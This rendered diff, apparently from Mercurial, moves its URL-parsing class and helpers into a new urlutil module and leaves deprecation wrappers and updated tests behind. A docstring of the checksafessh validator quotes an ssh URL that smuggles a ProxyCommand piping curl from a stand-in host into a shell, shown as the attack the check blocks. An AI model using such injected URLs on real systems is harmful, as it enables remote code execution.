3216 | 'bundle:foo' | |
|
3217 | >>> bytes(url(b'bundle://../foo')) | |
|
3218 | 'bundle:../foo' | |
|
3219 | >>> bytes(url(b'path')) | |
|
3220 | 'path' | |
|
3221 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
|
3222 | 'file:///tmp/foo/bar' | |
|
3223 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
|
3224 | 'file:///c:/tmp/foo/bar' | |
|
3225 | >>> print(url(br'bundle:foo\bar')) | |
|
3226 | bundle:foo\bar | |
|
3227 | >>> print(url(br'file:///D:\data\hg')) | |
|
3228 | file:///D:\data\hg | |
|
3229 | """ | |
|
3230 | if self._localpath: | |
|
3231 | s = self.path | |
|
3232 | if self.scheme == b'bundle': | |
|
3233 | s = b'bundle:' + s | |
|
3234 | if self.fragment: | |
|
3235 | s += b'#' + self.fragment | |
|
3236 | return s | |
|
3237 | ||
|
3238 | s = self.scheme + b':' | |
|
3239 | if self.user or self.passwd or self.host: | |
|
3240 | s += b'//' | |
|
3241 | elif self.scheme and ( | |
|
3242 | not self.path | |
|
3243 | or self.path.startswith(b'/') | |
|
3244 | or hasdriveletter(self.path) | |
|
3245 | ): | |
|
3246 | s += b'//' | |
|
3247 | if hasdriveletter(self.path): | |
|
3248 | s += b'/' | |
|
3249 | if self.user: | |
|
3250 | s += urlreq.quote(self.user, safe=self._safechars) | |
|
3251 | if self.passwd: | |
|
3252 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |
|
3253 | if self.user or self.passwd: | |
|
3254 | s += b'@' | |
|
3255 | if self.host: | |
|
3256 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |
|
3257 | s += urlreq.quote(self.host) | |
|
3258 | else: | |
|
3259 | s += self.host | |
|
3260 | if self.port: | |
|
3261 | s += b':' + urlreq.quote(self.port) | |
|
3262 | if self.host: | |
|
3263 | s += b'/' | |
|
3264 | if self.path: | |
|
3265 | # TODO: similar to the query string, we should not unescape the | |
|
3266 | # path when we store it, the path might contain '%2f' = '/', | |
|
3267 | # which we should *not* escape. | |
|
3268 | s += urlreq.quote(self.path, safe=self._safepchars) | |
|
3269 | if self.query: | |
|
3270 | # we store the query in escaped form. | |
|
3271 | s += b'?' + self.query | |
|
3272 | if self.fragment is not None: | |
|
3273 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
|
3274 | return s | |
|
3275 | ||
|
3276 | __str__ = encoding.strmethod(__bytes__) | |
|
3277 | ||
|
3278 | def authinfo(self): | |
|
3279 | user, passwd = self.user, self.passwd | |
|
3280 | try: | |
|
3281 | self.user, self.passwd = None, None | |
|
3282 | s = bytes(self) | |
|
3283 | finally: | |
|
3284 | self.user, self.passwd = user, passwd | |
|
3285 | if not self.user: | |
|
3286 | return (s, None) | |
|
3287 | # authinfo[1] is passed to urllib2 password manager, and its | |
|
3288 | # URIs must not contain credentials. The host is passed in the | |
|
3289 | # URIs list because Python < 2.4.3 uses only that to search for | |
|
3290 | # a password. | |
|
3291 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |
|
3292 | ||
|
3293 | def isabs(self): | |
|
3294 | if self.scheme and self.scheme != b'file': | |
|
3295 | return True # remote URL | |
|
3296 | if hasdriveletter(self.path): | |
|
3297 | return True # absolute for our purposes - can't be joined() | |
|
3298 | if self.path.startswith(br'\\'): | |
|
3299 | return True # Windows UNC path | |
|
3300 | if self.path.startswith(b'/'): | |
|
3301 | return True # POSIX-style | |
|
3302 | return False | |
|
3303 | ||
|
3304 | def localpath(self): | |
|
3305 | # type: () -> bytes | |
|
3306 | if self.scheme == b'file' or self.scheme == b'bundle': | |
|
3307 | path = self.path or b'/' | |
|
3308 | # For Windows, we need to promote hosts containing drive | |
|
3309 | # letters to paths with drive letters. | |
|
3310 | if hasdriveletter(self._hostport): | |
|
3311 | path = self._hostport + b'/' + self.path | |
|
3312 | elif ( | |
|
3313 | self.host is not None and self.path and not hasdriveletter(path) | |
|
3314 | ): | |
|
3315 | path = b'/' + path | |
|
3316 | return path | |
|
3317 | return self._origpath | |
|
3318 | ||
|
3319 | def islocal(self): | |
|
3320 | '''whether localpath will return something that posixfile can open''' | |
|
3321 | return ( | |
|
3322 | not self.scheme | |
|
3323 | or self.scheme == b'file' | |
|
3324 | or self.scheme == b'bundle' | |
|
3325 | ) | |
|
3326 | ||
|
3327 | ||
|
3328 | def hasscheme(path): | |
|
3329 | # type: (bytes) -> bool | |
|
3330 | return bool(url(path).scheme) # cast to help pytype | |
|
3331 | ||
|
3332 | ||
|
3333 | def hasdriveletter(path): | |
|
3334 | # type: (bytes) -> bool | |
|
3335 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |
|
3336 | ||
|
3337 | ||
|
3338 | def urllocalpath(path): | |
|
3339 | # type: (bytes) -> bytes | |
|
3340 | return url(path, parsequery=False, parsefragment=False).localpath() | |
|
3341 | ||
|
3342 | ||
|
3343 | def checksafessh(path): | |
|
3344 | # type: (bytes) -> None | |
|
3345 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
|
3346 | ||
|
3347 | This is a sanity check for ssh urls. ssh will parse the first item as | |
|
3348 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
|
3349 | Let's prevent these potentially exploited urls entirely and warn the | |
|
3350 | user. | |
|
3351 | ||
|
3352 | Raises an error.Abort when the url is unsafe. | |
|
3353 | """ | |
|
3354 | path = urlreq.unquote(path) | |
|
3355 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |
|
3356 | raise error.Abort( | |
|
3357 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |
|
3358 | ) | |
|
3359 | ||
|
3360 | ||
|
3361 | def hidepassword(u): | |
|
3362 | # type: (bytes) -> bytes | |
|
3363 | '''hide user credential in a url string''' | |
|
3364 | u = url(u) | |
|
3365 | if u.passwd: | |
|
3366 | u.passwd = b'***' | |
|
3367 | return bytes(u) | |
|
3368 | ||
|
3369 | ||
|
3370 | def removeauth(u): | |
|
3371 | # type: (bytes) -> bytes | |
|
3372 | '''remove all authentication information from a url string''' | |
|
3373 | u = url(u) | |
|
3374 | u.user = u.passwd = None | |
|
3375 | return bytes(u) | |
|
2961 | def getport(*args, **kwargs): | |
|
2962 | msg = b'getport(...) moved to mercurial.utils.urlutil' | |
|
2963 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2964 | return urlutil.getport(*args, **kwargs) | |
|
2965 | ||
|
2966 | ||
|
2967 | def url(*args, **kwargs): | |
|
2968 | msg = b'url(...) moved to mercurial.utils.urlutil' | |
|
2969 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2970 | return urlutil.url(*args, **kwargs) | |
|
2971 | ||
|
2972 | ||
|
2973 | def hasscheme(*args, **kwargs): | |
|
2974 | msg = b'hasscheme(...) moved to mercurial.utils.urlutil' | |
|
2975 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2976 | return urlutil.hasscheme(*args, **kwargs) | |
|
2977 | ||
|
2978 | ||
|
2979 | def hasdriveletter(*args, **kwargs): | |
|
2980 | msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil' | |
|
2981 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2982 | return urlutil.hasdriveletter(*args, **kwargs) | |
|
2983 | ||
|
2984 | ||
|
2985 | def urllocalpath(*args, **kwargs): | |
|
2986 | msg = b'urllocalpath(...) moved to mercurial.utils.urlutil' | |
|
2987 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2988 | return urlutil.urllocalpath(*args, **kwargs) | |
|
2989 | ||
|
2990 | ||
|
2991 | def checksafessh(*args, **kwargs): | |
|
2992 | msg = b'checksafessh(...) moved to mercurial.utils.urlutil' | |
|
2993 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
2994 | return urlutil.checksafessh(*args, **kwargs) | |
|
2995 | ||
|
2996 | ||
|
2997 | def hidepassword(*args, **kwargs): | |
|
2998 | msg = b'hidepassword(...) moved to mercurial.utils.urlutil' | |
|
2999 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
3000 | return urlutil.hidepassword(*args, **kwargs) | |
|
3001 | ||
|
3002 | ||
|
3003 | def removeauth(*args, **kwargs): | |
|
3004 | msg = b'removeauth(...) moved to mercurial.utils.urlutil' | |
|
3005 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
|
3006 | return urlutil.removeauth(*args, **kwargs) | |
|
3376 | 3007 | |
|
3377 | 3008 | |
|
3378 | 3009 | timecount = unitcountfn( |
@@ -5,6 +5,8 b'' | |||
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | import os |
|
8 | import re as remod | |
|
9 | import socket | |
|
8 | 10 | |
|
9 | 11 | from ..i18n import _ |
|
10 | 12 | from ..pycompat import ( |
@@ -12,12 +14,437 b' from ..pycompat import (' | |||
|
12 | 14 | setattr, |
|
13 | 15 | ) |
|
14 | 16 | from .. import ( |
|
17 | encoding, | |
|
15 | 18 | error, |
|
16 | 19 | pycompat, |
|
17 | util, | |
|
20 | urllibcompat, | |
|
18 | 21 | ) |
|
19 | 22 | |
|
20 | 23 | |
|
24 | if pycompat.TYPE_CHECKING: | |
|
25 | from typing import ( | |
|
26 | Union, | |
|
27 | ) | |
|
28 | ||
|
29 | urlreq = urllibcompat.urlreq | |
|
30 | ||
|
31 | ||
|
32 | def getport(port): | |
|
33 | # type: (Union[bytes, int]) -> int | |
|
34 | """Return the port for a given network service. | |
|
35 | ||
|
36 | If port is an integer, it's returned as is. If it's a string, it's | |
|
37 | looked up using socket.getservbyname(). If there's no matching | |
|
38 | service, error.Abort is raised. | |
|
39 | """ | |
|
40 | try: | |
|
41 | return int(port) | |
|
42 | except ValueError: | |
|
43 | pass | |
|
44 | ||
|
45 | try: | |
|
46 | return socket.getservbyname(pycompat.sysstr(port)) | |
|
47 | except socket.error: | |
|
48 | raise error.Abort( | |
|
49 | _(b"no port number associated with service '%s'") % port | |
|
50 | ) | |
|
51 | ||
|
52 | ||
|
53 | class url(object): | |
|
54 | r"""Reliable URL parser. | |
|
55 | ||
|
56 | This parses URLs and provides attributes for the following | |
|
57 | components: | |
|
58 | ||
|
59 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
|
60 | ||
|
61 | Missing components are set to None. The only exception is | |
|
62 | fragment, which is set to '' if present but empty. | |
|
63 | ||
|
64 | If parsefragment is False, fragment is included in query. If | |
|
65 | parsequery is False, query is included in path. If both are | |
|
66 | False, both fragment and query are included in path. | |
|
67 | ||
|
68 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
|
69 | ||
|
70 | Note that for backward compatibility reasons, bundle URLs do not | |
|
71 | take host names. That means 'bundle://../' has a path of '../'. | |
|
72 | ||
|
73 | Examples: | |
|
74 | ||
|
75 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
|
76 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
|
77 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
|
78 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
|
79 | >>> url(b'file:///home/joe/repo') | |
|
80 | <url scheme: 'file', path: '/home/joe/repo'> | |
|
81 | >>> url(b'file:///c:/temp/foo/') | |
|
82 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
|
83 | >>> url(b'bundle:foo') | |
|
84 | <url scheme: 'bundle', path: 'foo'> | |
|
85 | >>> url(b'bundle://../foo') | |
|
86 | <url scheme: 'bundle', path: '../foo'> | |
|
87 | >>> url(br'c:\foo\bar') | |
|
88 | <url path: 'c:\\foo\\bar'> | |
|
89 | >>> url(br'\\blah\blah\blah') | |
|
90 | <url path: '\\\\blah\\blah\\blah'> | |
|
91 | >>> url(br'\\blah\blah\blah#baz') | |
|
92 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
|
93 | >>> url(br'file:///C:\users\me') | |
|
94 | <url scheme: 'file', path: 'C:\\users\\me'> | |
|
95 | ||
|
96 | Authentication credentials: | |
|
97 | ||
|
98 | >>> url(b'ssh://joe:xyz@x/repo') | |
|
99 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
|
100 | >>> url(b'ssh://joe@x/repo') | |
|
101 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
|
102 | ||
|
103 | Query strings and fragments: | |
|
104 | ||
|
105 | >>> url(b'http://host/a?b#c') | |
|
106 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
|
107 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
|
108 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
|
109 | ||
|
110 | Empty path: | |
|
111 | ||
|
112 | >>> url(b'') | |
|
113 | <url path: ''> | |
|
114 | >>> url(b'#a') | |
|
115 | <url path: '', fragment: 'a'> | |
|
116 | >>> url(b'http://host/') | |
|
117 | <url scheme: 'http', host: 'host', path: ''> | |
|
118 | >>> url(b'http://host/#a') | |
|
119 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
|
120 | ||
|
121 | Only scheme: | |
|
122 | ||
|
123 | >>> url(b'http:') | |
|
124 | <url scheme: 'http'> | |
|
125 | """ | |
|
126 | ||
|
127 | _safechars = b"!~*'()+" | |
|
128 | _safepchars = b"/!~*'()+:\\" | |
|
129 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |
|
130 | ||
|
131 | def __init__(self, path, parsequery=True, parsefragment=True): | |
|
132 | # type: (bytes, bool, bool) -> None | |
|
133 | # We slowly chomp away at path until we have only the path left | |
|
134 | self.scheme = self.user = self.passwd = self.host = None | |
|
135 | self.port = self.path = self.query = self.fragment = None | |
|
136 | self._localpath = True | |
|
137 | self._hostport = b'' | |
|
138 | self._origpath = path | |
|
139 | ||
|
140 | if parsefragment and b'#' in path: | |
|
141 | path, self.fragment = path.split(b'#', 1) | |
|
142 | ||
|
143 | # special case for Windows drive letters and UNC paths | |
|
144 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |
|
145 | self.path = path | |
|
146 | return | |
|
147 | ||
|
148 | # For compatibility reasons, we can't handle bundle paths as | |
|
149 | # normal URLS | |
|
150 | if path.startswith(b'bundle:'): | |
|
151 | self.scheme = b'bundle' | |
|
152 | path = path[7:] | |
|
153 | if path.startswith(b'//'): | |
|
154 | path = path[2:] | |
|
155 | self.path = path | |
|
156 | return | |
|
157 | ||
|
158 | if self._matchscheme(path): | |
|
159 | parts = path.split(b':', 1) | |
|
160 | if parts[0]: | |
|
161 | self.scheme, path = parts | |
|
162 | self._localpath = False | |
|
163 | ||
|
164 | if not path: | |
|
165 | path = None | |
|
166 | if self._localpath: | |
|
167 | self.path = b'' | |
|
168 | return | |
|
169 | else: | |
|
170 | if self._localpath: | |
|
171 | self.path = path | |
|
172 | return | |
|
173 | ||
|
174 | if parsequery and b'?' in path: | |
|
175 | path, self.query = path.split(b'?', 1) | |
|
176 | if not path: | |
|
177 | path = None | |
|
178 | if not self.query: | |
|
179 | self.query = None | |
|
180 | ||
|
181 | # // is required to specify a host/authority | |
|
182 | if path and path.startswith(b'//'): | |
|
183 | parts = path[2:].split(b'/', 1) | |
|
184 | if len(parts) > 1: | |
|
185 | self.host, path = parts | |
|
186 | else: | |
|
187 | self.host = parts[0] | |
|
188 | path = None | |
|
189 | if not self.host: | |
|
190 | self.host = None | |
|
191 | # path of file:///d is /d | |
|
192 | # path of file:///d:/ is d:/, not /d:/ | |
|
193 | if path and not hasdriveletter(path): | |
|
194 | path = b'/' + path | |
|
195 | ||
|
196 | if self.host and b'@' in self.host: | |
|
197 | self.user, self.host = self.host.rsplit(b'@', 1) | |
|
198 | if b':' in self.user: | |
|
199 | self.user, self.passwd = self.user.split(b':', 1) | |
|
200 | if not self.host: | |
|
201 | self.host = None | |
|
202 | ||
|
203 | # Don't split on colons in IPv6 addresses without ports | |
|
204 | if ( | |
|
205 | self.host | |
|
206 | and b':' in self.host | |
|
207 | and not ( | |
|
208 | self.host.startswith(b'[') and self.host.endswith(b']') | |
|
209 | ) | |
|
210 | ): | |
|
211 | self._hostport = self.host | |
|
212 | self.host, self.port = self.host.rsplit(b':', 1) | |
|
213 | if not self.host: | |
|
214 | self.host = None | |
|
215 | ||
|
216 | if ( | |
|
217 | self.host | |
|
218 | and self.scheme == b'file' | |
|
219 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |
|
220 | ): | |
|
221 | raise error.Abort( | |
|
222 | _(b'file:// URLs can only refer to localhost') | |
|
223 | ) | |
|
224 | ||
|
225 | self.path = path | |
|
226 | ||
|
227 | # leave the query string escaped | |
|
228 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |
|
229 | v = getattr(self, a) | |
|
230 | if v is not None: | |
|
231 | setattr(self, a, urlreq.unquote(v)) | |
|
232 | ||
|
233 | def copy(self): | |
|
234 | u = url(b'temporary useless value') | |
|
235 | u.path = self.path | |
|
236 | u.scheme = self.scheme | |
|
237 | u.user = self.user | |
|
238 | u.passwd = self.passwd | |
|
239 | u.host = self.host | |
|
240 | u.path = self.path | |
|
241 | u.query = self.query | |
|
242 | u.fragment = self.fragment | |
|
243 | u._localpath = self._localpath | |
|
244 | u._hostport = self._hostport | |
|
245 | u._origpath = self._origpath | |
|
246 | return u | |
|
247 | ||
|
248 | @encoding.strmethod | |
|
249 | def __repr__(self): | |
|
250 | attrs = [] | |
|
251 | for a in ( | |
|
252 | b'scheme', | |
|
253 | b'user', | |
|
254 | b'passwd', | |
|
255 | b'host', | |
|
256 | b'port', | |
|
257 | b'path', | |
|
258 | b'query', | |
|
259 | b'fragment', | |
|
260 | ): | |
|
261 | v = getattr(self, a) | |
|
262 | if v is not None: | |
|
263 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |
|
264 | return b'<url %s>' % b', '.join(attrs) | |
|
265 | ||
|
266 | def __bytes__(self): | |
|
267 | r"""Join the URL's components back into a URL string. | |
|
268 | ||
|
269 | Examples: | |
|
270 | ||
|
271 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
|
272 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
|
273 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
|
274 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
|
275 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
|
276 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
|
277 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
|
278 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
|
279 | >>> bytes(url(b'http://localhost:80//')) | |
|
280 | 'http://localhost:80//' | |
|
281 | >>> bytes(url(b'http://localhost:80/')) | |
|
282 | 'http://localhost:80/' | |
|
283 | >>> bytes(url(b'http://localhost:80')) | |
|
284 | 'http://localhost:80/' | |
|
285 | >>> bytes(url(b'bundle:foo')) | |
|
286 | 'bundle:foo' | |
|
287 | >>> bytes(url(b'bundle://../foo')) | |
|
288 | 'bundle:../foo' | |
|
289 | >>> bytes(url(b'path')) | |
|
290 | 'path' | |
|
291 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
|
292 | 'file:///tmp/foo/bar' | |
|
293 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
|
294 | 'file:///c:/tmp/foo/bar' | |
|
295 | >>> print(url(br'bundle:foo\bar')) | |
|
296 | bundle:foo\bar | |
|
297 | >>> print(url(br'file:///D:\data\hg')) | |
|
298 | file:///D:\data\hg | |
|
299 | """ | |
|
300 | if self._localpath: | |
|
301 | s = self.path | |
|
302 | if self.scheme == b'bundle': | |
|
303 | s = b'bundle:' + s | |
|
304 | if self.fragment: | |
|
305 | s += b'#' + self.fragment | |
|
306 | return s | |
|
307 | ||
|
308 | s = self.scheme + b':' | |
|
309 | if self.user or self.passwd or self.host: | |
|
310 | s += b'//' | |
|
311 | elif self.scheme and ( | |
|
312 | not self.path | |
|
313 | or self.path.startswith(b'/') | |
|
314 | or hasdriveletter(self.path) | |
|
315 | ): | |
|
316 | s += b'//' | |
|
317 | if hasdriveletter(self.path): | |
|
318 | s += b'/' | |
|
319 | if self.user: | |
|
320 | s += urlreq.quote(self.user, safe=self._safechars) | |
|
321 | if self.passwd: | |
|
322 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |
|
323 | if self.user or self.passwd: | |
|
324 | s += b'@' | |
|
325 | if self.host: | |
|
326 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |
|
327 | s += urlreq.quote(self.host) | |
|
328 | else: | |
|
329 | s += self.host | |
|
330 | if self.port: | |
|
331 | s += b':' + urlreq.quote(self.port) | |
|
332 | if self.host: | |
|
333 | s += b'/' | |
|
334 | if self.path: | |
|
335 | # TODO: similar to the query string, we should not unescape the | |
|
336 | # path when we store it, the path might contain '%2f' = '/', | |
|
337 | # which we should *not* escape. | |
|
338 | s += urlreq.quote(self.path, safe=self._safepchars) | |
|
339 | if self.query: | |
|
340 | # we store the query in escaped form. | |
|
341 | s += b'?' + self.query | |
|
342 | if self.fragment is not None: | |
|
343 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
|
344 | return s | |
|
345 | ||
|
346 | __str__ = encoding.strmethod(__bytes__) | |
|
347 | ||
|
348 | def authinfo(self): | |
|
349 | user, passwd = self.user, self.passwd | |
|
350 | try: | |
|
351 | self.user, self.passwd = None, None | |
|
352 | s = bytes(self) | |
|
353 | finally: | |
|
354 | self.user, self.passwd = user, passwd | |
|
355 | if not self.user: | |
|
356 | return (s, None) | |
|
357 | # authinfo[1] is passed to urllib2 password manager, and its | |
|
358 | # URIs must not contain credentials. The host is passed in the | |
|
359 | # URIs list because Python < 2.4.3 uses only that to search for | |
|
360 | # a password. | |
|
361 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |
|
362 | ||
|
363 | def isabs(self): | |
|
364 | if self.scheme and self.scheme != b'file': | |
|
365 | return True # remote URL | |
|
366 | if hasdriveletter(self.path): | |
|
367 | return True # absolute for our purposes - can't be joined() | |
|
368 | if self.path.startswith(br'\\'): | |
|
369 | return True # Windows UNC path | |
|
370 | if self.path.startswith(b'/'): | |
|
371 | return True # POSIX-style | |
|
372 | return False | |
|
373 | ||
|
374 | def localpath(self): | |
|
375 | # type: () -> bytes | |
|
376 | if self.scheme == b'file' or self.scheme == b'bundle': | |
|
377 | path = self.path or b'/' | |
|
378 | # For Windows, we need to promote hosts containing drive | |
|
379 | # letters to paths with drive letters. | |
|
380 | if hasdriveletter(self._hostport): | |
|
381 | path = self._hostport + b'/' + self.path | |
|
382 | elif ( | |
|
383 | self.host is not None and self.path and not hasdriveletter(path) | |
|
384 | ): | |
|
385 | path = b'/' + path | |
|
386 | return path | |
|
387 | return self._origpath | |
|
388 | ||
|
389 | def islocal(self): | |
|
390 | '''whether localpath will return something that posixfile can open''' | |
|
391 | return ( | |
|
392 | not self.scheme | |
|
393 | or self.scheme == b'file' | |
|
394 | or self.scheme == b'bundle' | |
|
395 | ) | |
|
396 | ||
|
397 | ||
|
398 | def hasscheme(path): | |
|
399 | # type: (bytes) -> bool | |
|
400 | return bool(url(path).scheme) # cast to help pytype | |
|
401 | ||
|
402 | ||
|
403 | def hasdriveletter(path): | |
|
404 | # type: (bytes) -> bool | |
|
405 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |
|
406 | ||
|
407 | ||
|
408 | def urllocalpath(path): | |
|
409 | # type: (bytes) -> bytes | |
|
410 | return url(path, parsequery=False, parsefragment=False).localpath() | |
|
411 | ||
|
412 | ||
|
413 | def checksafessh(path): | |
|
414 | # type: (bytes) -> None | |
|
415 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
|
416 | ||
|
417 | This is a sanity check for ssh urls. ssh will parse the first item as | |
|
418 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
|
419 | Let's prevent these potentially exploited urls entirely and warn the | |
|
420 | user. | |
|
421 | ||
|
422 | Raises an error.Abort when the url is unsafe. | |
|
423 | """ | |
|
424 | path = urlreq.unquote(path) | |
|
425 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |
|
426 | raise error.Abort( | |
|
427 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |
|
428 | ) | |
|
429 | ||
|
430 | ||
|
431 | def hidepassword(u): | |
|
432 | # type: (bytes) -> bytes | |
|
433 | '''hide user credential in a url string''' | |
|
434 | u = url(u) | |
|
435 | if u.passwd: | |
|
436 | u.passwd = b'***' | |
|
437 | return bytes(u) | |
|
438 | ||
|
439 | ||
|
440 | def removeauth(u): | |
|
441 | # type: (bytes) -> bytes | |
|
442 | '''remove all authentication information from a url string''' | |
|
443 | u = url(u) | |
|
444 | u.user = u.passwd = None | |
|
445 | return bytes(u) | |
|
446 | ||
|
447 | ||
|
21 | 448 | class paths(dict): |
|
22 | 449 | """Represents a collection of paths and their configs. |
|
23 | 450 | |
@@ -103,7 +530,7 b' def pathsuboption(option, attr):' | |||
|
103 | 530 | |
|
104 | 531 | @pathsuboption(b'pushurl', b'pushloc') |
|
105 | 532 | def pushurlpathoption(ui, path, value): |
|
106 |
u = |
|
|
533 | u = url(value) | |
|
107 | 534 | # Actually require a URL. |
|
108 | 535 | if not u.scheme: |
|
109 | 536 | ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name) |
@@ -148,7 +575,7 b' class path(object):' | |||
|
148 | 575 | raise ValueError(b'rawloc must be defined') |
|
149 | 576 | |
|
150 | 577 | # Locations may define branches via syntax <base>#<branch>. |
|
151 |
u = |
|
|
578 | u = url(rawloc) | |
|
152 | 579 | branch = None |
|
153 | 580 | if u.fragment: |
|
154 | 581 | branch = u.fragment |
@@ -158,6 +158,7 b' expected_mods_tested = set(' | |||
|
158 | 158 | ('mercurial.util', '{}'), |
|
159 | 159 | ('mercurial.utils.dateutil', '{}'), |
|
160 | 160 | ('mercurial.utils.stringutil', '{}'), |
|
161 | ('mercurial.utils.urlutil', '{}'), | |
|
161 | 162 | ('tests.drawdag', '{}'), |
|
162 | 163 | ('tests.test-run-tests', '{}'), |
|
163 | 164 | ('tests.test-url', "{'optionflags': 4}"), |
@@ -10,7 +10,10 b' from mercurial import (' | |||
|
10 | 10 | url, |
|
11 | 11 | util, |
|
12 | 12 | ) |
|
13 |
from mercurial.utils import |
|
|
13 | from mercurial.utils import ( | |
|
14 | stringutil, | |
|
15 | urlutil, | |
|
16 | ) | |
|
14 | 17 | |
|
15 | 18 | urlerr = util.urlerr |
|
16 | 19 | urlreq = util.urlreq |
@@ -60,7 +63,7 b' def test(auth, urls=None):' | |||
|
60 | 63 | print('URI:', pycompat.strurl(uri)) |
|
61 | 64 | try: |
|
62 | 65 | pm = url.passwordmgr(ui, urlreq.httppasswordmgrwithdefaultrealm()) |
|
63 | u, authinfo = util.url(uri).authinfo() | |
|
66 | u, authinfo = urlutil.url(uri).authinfo() | |
|
64 | 67 | if authinfo is not None: |
|
65 | 68 | pm.add_password(*_stringifyauthinfo(authinfo)) |
|
66 | 69 | print( |
@@ -198,10 +201,12 b' test(' | |||
|
198 | 201 | def testauthinfo(fullurl, authurl): |
|
199 | 202 | print('URIs:', fullurl, authurl) |
|
200 | 203 | pm = urlreq.httppasswordmgrwithdefaultrealm() |
|
201 | ai = _stringifyauthinfo(util.url(pycompat.bytesurl(fullurl)).authinfo()[1]) | |
|
204 | ai = _stringifyauthinfo( | |
|
205 | urlutil.url(pycompat.bytesurl(fullurl)).authinfo()[1] | |
|
206 | ) | |
|
202 | 207 | pm.add_password(*ai) |
|
203 | 208 | print(pm.find_user_password('test', authurl)) |
|
204 | 209 | |
|
205 | 210 | |
|
206 | print('\n*** Test urllib2 and util.url\n') | |
|
211 | print('\n*** Test urllib2 and urlutil.url\n') | |
|
207 | 212 | testauthinfo('http://user@example.com:8080/foo', 'http://example.com:8080/foo') |
@@ -211,7 +211,7 b" CFG: {b'y.password': b'ypassword', b'y.p" | |||
|
211 | 211 | URI: http://example.org/foo |
|
212 | 212 | abort |
|
213 | 213 | |
|
214 | *** Test urllib2 and util.url | |
|
214 | *** Test urllib2 and urlutil.url | |
|
215 | 215 | |
|
216 | 216 | URIs: http://user@example.com:8080/foo http://example.com:8080/foo |
|
217 | 217 | ('user', '') |
@@ -275,7 +275,7 b' check(' | |||
|
275 | 275 | def test_url(): |
|
276 | 276 | """ |
|
277 | 277 | >>> from mercurial import error, pycompat |
|
278 | >>> from mercurial.util import url | |
|
278 | >>> from mercurial.utils.urlutil import url | |
|
279 | 279 | >>> from mercurial.utils.stringutil import forcebytestr |
|
280 | 280 | |
|
281 | 281 | This tests for edge cases in url.URL's parsing algorithm. Most of |
General Comments 0
You need to be logged in to leave comments.
Login now